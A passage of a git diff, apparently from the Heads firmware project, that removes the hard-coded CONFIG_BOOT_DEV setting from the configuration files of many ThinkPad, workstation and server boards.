a/boards/t420-maximized/t420-maximized.config b/boards/t420-maximized/t420-maximized.config index 372a3b675..60ee80bda 100644 --- a/boards/t420-maximized/t420-maximized.config +++ b/boards/t420-maximized/t420-maximized.config @@ -63,7 +63,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="ThinkPad T420-maximized" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal:ich_spi_mode=hwseq" diff --git a/boards/t430-hotp-maximized/t430-hotp-maximized.config b/boards/t430-hotp-maximized/t430-hotp-maximized.config index 44c466e35..fd549a08d 100644 --- a/boards/t430-hotp-maximized/t430-hotp-maximized.config +++ b/boards/t430-hotp-maximized/t430-hotp-maximized.config @@ -63,7 +63,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad T430-hotp-maximized" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" diff --git a/boards/t430-maximized/t430-maximized.config b/boards/t430-maximized/t430-maximized.config index 32e9e0ff9..4e3addec9 100644 --- a/boards/t430-maximized/t430-maximized.config +++ b/boards/t430-maximized/t430-maximized.config @@ -63,7 +63,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad T430-maximized" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" diff --git a/boards/t440p-maximized/t440p-maximized.config b/boards/t440p-maximized/t440p-maximized.config index c1c9ac89d..aaf34a8c6 100644 --- a/boards/t440p-maximized/t440p-maximized.config +++ b/boards/t440p-maximized/t440p-maximized.config @@ -37,7 +37,6 @@ export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="ThinkPad T440p-maximized" export CONFIG_FLASHROM_OPTIONS="-p internal" diff --git a/boards/t530-hotp-maximized/t530-hotp-maximized.config b/boards/t530-hotp-maximized/t530-hotp-maximized.config index 55a5b36be..7bcb5c101 100644 --- a/boards/t530-hotp-maximized/t530-hotp-maximized.config +++ b/boards/t530-hotp-maximized/t530-hotp-maximized.config @@ -65,7 +65,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad T530-hotp-maximized" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" diff --git a/boards/t530-maximized/t530-maximized.config b/boards/t530-maximized/t530-maximized.config index 6a604c932..6d8c8e719 100644 --- a/boards/t530-maximized/t530-maximized.config +++ b/boards/t530-maximized/t530-maximized.config @@ -64,7 +64,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad T530-maximized" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" diff --git a/boards/talos-2/talos-2.config b/boards/talos-2/talos-2.config index cc92b6944..b7f0923d5 100644 --- a/boards/talos-2/talos-2.config +++ b/boards/talos-2/talos-2.config @@ -46,7 +46,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_REMOVE="quiet" export CONFIG_BOOT_KERNEL_ADD="console=tty0 console=hvc0 rootdelay=3 rootwait panic=10" -export CONFIG_BOOT_DEV="/dev/nvme0n1p2" export CONFIG_BOARD_NAME="Talos 2" export CONFIG_FLASHROM_OPTIONS="--noverify-all -p linux_mtd" diff --git a/boards/w530-hotp-maximized/w530-hotp-maximized.config b/boards/w530-hotp-maximized/w530-hotp-maximized.config index 34318979d..670d07909 100644 --- a/boards/w530-hotp-maximized/w530-hotp-maximized.config +++ b/boards/w530-hotp-maximized/w530-hotp-maximized.config @@ -65,7 +65,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad W530-hotp-maximized" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" diff --git a/boards/w530-maximized/w530-maximized.config b/boards/w530-maximized/w530-maximized.config index 7ee6cf1ec..a318e37aa 100644 --- a/boards/w530-maximized/w530-maximized.config +++ b/boards/w530-maximized/w530-maximized.config @@ -64,7 +64,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad W530-maximized" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" diff --git a/boards/w541-maximized/w541-maximized.config b/boards/w541-maximized/w541-maximized.config index fc720b34e..3bd82de15 100644 --- a/boards/w541-maximized/w541-maximized.config +++ b/boards/w541-maximized/w541-maximized.config @@ -37,7 +37,6 @@ export CONFIG_TPM=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="ThinkPad W541-maximized" export CONFIG_FLASHROM_OPTIONS="-p internal" diff --git a/boards/x220-hotp-maximized/x220-hotp-maximized.config b/boards/x220-hotp-maximized/x220-hotp-maximized.config index ce67877bb..4ebbd7da6 100644 --- a/boards/x220-hotp-maximized/x220-hotp-maximized.config +++ b/boards/x220-hotp-maximized/x220-hotp-maximized.config @@ -65,7 +65,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="ThinkPad X220-hotp-maximized" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal:ich_spi_mode=hwseq" diff --git a/boards/x220-maximized/x220-maximized.config b/boards/x220-maximized/x220-maximized.config index 992f89256..41d1abd58 100644 --- a/boards/x220-maximized/x220-maximized.config +++ b/boards/x220-maximized/x220-maximized.config @@ -64,7 +64,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="ThinkPad X220-maximized" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal:ich_spi_mode=hwseq" diff --git a/boards/x230-hotp-legacy/x230-hotp-legacy.config b/boards/x230-hotp-legacy/x230-hotp-legacy.config index 960aded5d..73e9ef076 100644 --- a/boards/x230-hotp-legacy/x230-hotp-legacy.config +++ b/boards/x230-hotp-legacy/x230-hotp-legacy.config @@ -61,7 +61,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad X230-hotp-legacy" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal --ifd --image bios" diff --git a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config index 31b43f108..a5550d4dc 100644 --- a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config +++ b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config @@ -77,7 +77,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad X230-hotp-maximized-eDP" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" diff --git a/boards/x230-hotp-maximized/x230-hotp-maximized.config b/boards/x230-hotp-maximized/x230-hotp-maximized.config index a1f5c3cec..d40116507 100644 --- a/boards/x230-hotp-maximized/x230-hotp-maximized.config +++ b/boards/x230-hotp-maximized/x230-hotp-maximized.config @@ -79,7 +79,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad X230-hotp-maximized" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" diff --git a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config index 987e8bb23..7e82616b2 100644 --- a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config +++ b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config @@ -73,7 +73,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad X230-hotp-maximized_usb-kb" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" diff --git a/boards/x230-legacy/x230-legacy.config b/boards/x230-legacy/x230-legacy.config index 88d86fce9..bda3f498c 100644 --- a/boards/x230-legacy/x230-legacy.config +++ b/boards/x230-legacy/x230-legacy.config @@ -54,7 +54,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad X230-legacy" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal --ifd --image bios" diff --git a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config index b6e1016c4..5a6bf840d 100644 --- a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config +++ b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config @@ -76,7 +76,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad X230-maximized-eDP" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" diff --git a/boards/x230-maximized/x230-maximized.config b/boards/x230-maximized/x230-maximized.config index eafb4d365..99b15b477 100644 --- a/boards/x230-maximized/x230-maximized.config +++ b/boards/x230-maximized/x230-maximized.config @@ -67,7 +67,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad X230-maximized" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" diff --git a/boards/z220-cmt-maximized/z220-cmt-maximized.config b/boards/z220-cmt-maximized/z220-cmt-maximized.config index ed6aa92a7..a0e679cdf 100644 --- a/boards/z220-cmt-maximized/z220-cmt-maximized.config +++ b/boards/z220-cmt-maximized/z220-cmt-maximized.config @@ -59,7 +59,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Hewlett-Packard Z220 Convertible Minitower" export CONFIG_FLASHROM_OPTIONS="-p internal" diff --git a/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config b/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config index ce5cd055d..c4a0487ff 100644 --- a/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config @@ -73,7 +73,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="P8Z77-M PRO" export CONFIG_FLASHROM_OPTIONS="-p internal" #Set this option to zero out the VSCC table https://github.com/osresearch/heads/pull/1358#discussion_r1153251399 diff --git a/unmaintained_boards/UNMAINTAINED_qemu-linuxboot/UNMAINTAINED_qemu-linuxboot.config b/unmaintained_boards/UNMAINTAINED_qemu-linuxboot/UNMAINTAINED_qemu-linuxboot.config index c47edd571..ae7b034af 100644 --- a/unmaintained_boards/UNMAINTAINED_qemu-linuxboot/UNMAINTAINED_qemu-linuxboot.config +++ b/unmaintained_boards/UNMAINTAINED_qemu-linuxboot/UNMAINTAINED_qemu-linuxboot.config @@ -37,7 +37,6 @@ export CONFIG_BOOTSCRIPT_NETWORK=/bin/network-init-recovery export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOOT_STATIC_IP=10.0.2.15 # You can ssh into the qemu instance by running diff --git a/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config b/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config index 7018efa6f..3aab4db9a 100644 --- a/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config +++ b/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config @@ -32,6 +32,5 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="ThinkPad T420" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal:ich_spi_mode=hwseq --ifd --image bios" diff --git a/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config b/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config index 5a3672bad..6abe0e8a4 100644 --- a/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config +++ b/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config @@ -61,7 +61,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad T430-hotp-legacy" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal --ifd --image bios" diff --git a/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config b/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config index 2f3e53e5c..28d5c9dda 100644 --- a/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config +++ b/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config @@ -55,7 +55,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad T430-legacy" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal --ifd --image bios" diff --git a/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config index b5d45a334..72898cad4 100644 --- a/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config @@ -61,7 +61,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="ThinkPad T520-hotp-maximized" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal:ich_spi_mode=hwseq" diff --git a/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config b/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config index 76909aae9..96dd85d76 100644 --- a/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config @@ -60,7 +60,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="ThinkPad T520-maximized" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal:ich_spi_mode=hwseq" diff --git a/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config index 86adbe84f..43bb07e5a 100644 --- a/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config @@ -65,7 +65,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad T530-dgpu-hotp-maximized" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" diff --git a/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config b/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config index cd4cae89f..020431681 100644 --- a/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config @@ -64,7 +64,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad T530-dgpu-maximized" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config index 8efa3206a..15cb36a7e 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config @@ -65,7 +65,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad W530-dgpu-K1000m-hotp-maximized" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config index ae6d17646..7a1107914 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config @@ -64,7 +64,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad W530-dgpu-K1000m-maximized" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config index d662d600b..15794695e 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config @@ -65,7 +65,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad W530-dgpu-K2000m-hotp-maximized" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config index 7faac9137..9ad244a3f 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config @@ -64,7 +64,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Thinkpad W530-dgpu-K2000m-maximized" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" diff --git a/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config b/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config index 035f90925..bed15b495 100644 --- a/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config +++ b/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config @@ -55,6 +55,5 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="ThinkPad X220" export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal:ich_spi_mode=hwseq --ifd --image bios" diff --git a/unmaintained_boards/UNTESTED_leopard/UNTESTED_leopard.config b/unmaintained_boards/UNTESTED_leopard/UNTESTED_leopard.config index fe9866ab0..d121609d8 100644 --- a/unmaintained_boards/UNTESTED_leopard/UNTESTED_leopard.config +++ b/unmaintained_boards/UNTESTED_leopard/UNTESTED_leopard.config @@ -41,7 +41,6 @@ export CONFIG_BOOTSCRIPT=/bin/generic-init export CONFIG_TPM=n export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n -export CONFIG_BOOT_DEV="/dev/sda1" $(board_build)/linuxboot.rom: linuxboot.intermediate diff --git a/unmaintained_boards/UNTESTED_r630/UNTESTED_r630.config b/unmaintained_boards/UNTESTED_r630/UNTESTED_r630.config index 2f0ec38e1..bd98df5ee 100644 --- a/unmaintained_boards/UNTESTED_r630/UNTESTED_r630.config +++ b/unmaintained_boards/UNTESTED_r630/UNTESTED_r630.config @@ -29,4 +29,3 @@ export CONFIG_BOOTSCRIPT=/bin/generic-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n -export CONFIG_BOOT_DEV="/dev/sda1" diff --git a/unmaintained_boards/UNTESTED_s2600wf/UNTESTED_s2600wf.config b/unmaintained_boards/UNTESTED_s2600wf/UNTESTED_s2600wf.config index 591984b39..e5af0f07f 100644 --- a/unmaintained_boards/UNTESTED_s2600wf/UNTESTED_s2600wf.config +++ b/unmaintained_boards/UNTESTED_s2600wf/UNTESTED_s2600wf.config @@ -41,4 +41,3 @@ export CONFIG_TPM=n export CONFIG_BOOTSCRIPT=/bin/generic-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n -export CONFIG_BOOT_DEV="/dev/sda1" diff --git a/unmaintained_boards/UNTESTED_tioga/UNTESTED_tioga.config b/unmaintained_boards/UNTESTED_tioga/UNTESTED_tioga.config index 7d72429ba..73d475832 100644 --- a/unmaintained_boards/UNTESTED_tioga/UNTESTED_tioga.config +++ b/unmaintained_boards/UNTESTED_tioga/UNTESTED_tioga.config @@ -44,7 +44,6 @@ export CONFIG_BOOTSCRIPT=/bin/generic-init export CONFIG_TPM=n export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n -export CONFIG_BOOT_DEV="/dev/sda1" $(board_build)/linuxboot.rom: linuxboot.intermediate diff --git 